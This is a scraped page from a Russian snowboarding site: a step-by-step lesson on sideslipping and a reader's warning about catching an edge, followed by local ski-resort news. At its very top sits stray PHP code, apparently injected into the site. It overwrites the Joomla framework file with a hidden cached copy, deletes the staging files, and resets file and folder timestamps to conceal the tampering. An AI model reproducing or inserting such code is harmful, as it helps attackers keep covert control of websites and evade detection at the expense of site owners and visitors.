$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Как кататься на сноуборде, Спуск лицом вперед
Баннер

Как кататься на сноуборде

Часть 6. Спуск лицом вперед (Sideslipping)


Это упражнение научит вас, как использовать кант сноуборда чтобы контролировать свою скорость при спуске вниз. То есть резко тормозить в любой ситуации.




Шаг 1:Лучше всего начинать учиться на умеренных склонах. Ваши ноги должны быть пристегнуты креплениями к доске. Затем сядьте на землю лицом вниз по склону. Ваши ноги должны быть согнуты, а сноуборд должен упираться кантами в снег.



Шаг 2: Врежьте канты в снег и обопритесь на руки.



Шаг 3: Оттолкнитесь руками от земли, равномерно распределяя вес, чтобы сохранить равновесие.



Шаг 4:Попробуйте полностью подняться. По началу это будет довольно трудно сделать, но немного терпения и у Вас получится. Просто найдите свой баланс и держите вертикальном положении, нагрузка должна идти на задний кант.



Шаг 5: После того, как вы уверенно себя чувствуете в вертикальном положении наклоните сноуборд немного вперед, что позволит Вам начать движение. Чем сильнее вы наклоняете доску, тем больше у Вас будет скорость.

____
Опять немного отступлю, в статье не указанно, что если черезчур сильно наклонить борд, можно "поймать кант", в данном случае передний, очень не приятное ощущение, когда доска врезается в снег, а ты совершаешь дугообразное движение по направлению головой к земле по законам физики... Чем больше скорость, тем больнее...
____



Шаг 6: В предыдущем шаге, вы узнали, что вы получите более высокую скорость, если уменьшить угол между доской и склоном. На этот раз, увеличите угол. Вы заметите, что у Вас уменьшится скорость. Чем больше угол, тем меньше скорость.



Шаг 7: На этом данный урок подходит к концу. После остановки постарайтесь не сразу упасть на землю, а медленно на нее опуститься. Упритесь руками о землю.

После того как вы освоитесь, потренируйтесь управлять скоростью.

Обсудить на форуме...

Коментарии:

 
.

Последние новости

Популярные статьи

Новости
Открытие сезона на ГЛЦ "Царевщина"

Ну вот и дождались любители горных лыж и сноуборда открытия ГЛЦ "Царевщина". Сегодня был полноценный рабочий день на этом комплексе. Снегу накидали достаточно, земли нигде не видно. В некоторых местах есть лёд. Народу немного, на подъёмнике очередей нет. Цены остались на уровне прошлого сезона: 1 смена с 10 до 15 - 600р, 2 смена с 13 до 17 - 700р, 3 смена с 17 до 21 - 300р (в выходные дни). В будние дни соответственно 250 - 300 - 200руб. Работает как всегда только центральная трасса.

 
Новости ГЛК Красная глинка

По заявлениям представителей ГЛК  Красная Глинка, что неподалёку от Самары, открытие намечено не 2 декабря, в настоящее время активно идёт подготовка склонов. На Юге убрали не работающий подъемник, трасса стала шире. Сейчас снежат Восточный склон. К открытию скорее всего будут работать Центр, Восток и если успеют то и Юг.

 
Появился новый раздел "Народный магазин"
Подробнее ...
Как кататься на сноуборде, Спуск лицом вперед

Как доехать на машине
*От:
*До:
Дай +1 :)
Сохранить в моб...
Яндекс.Метрика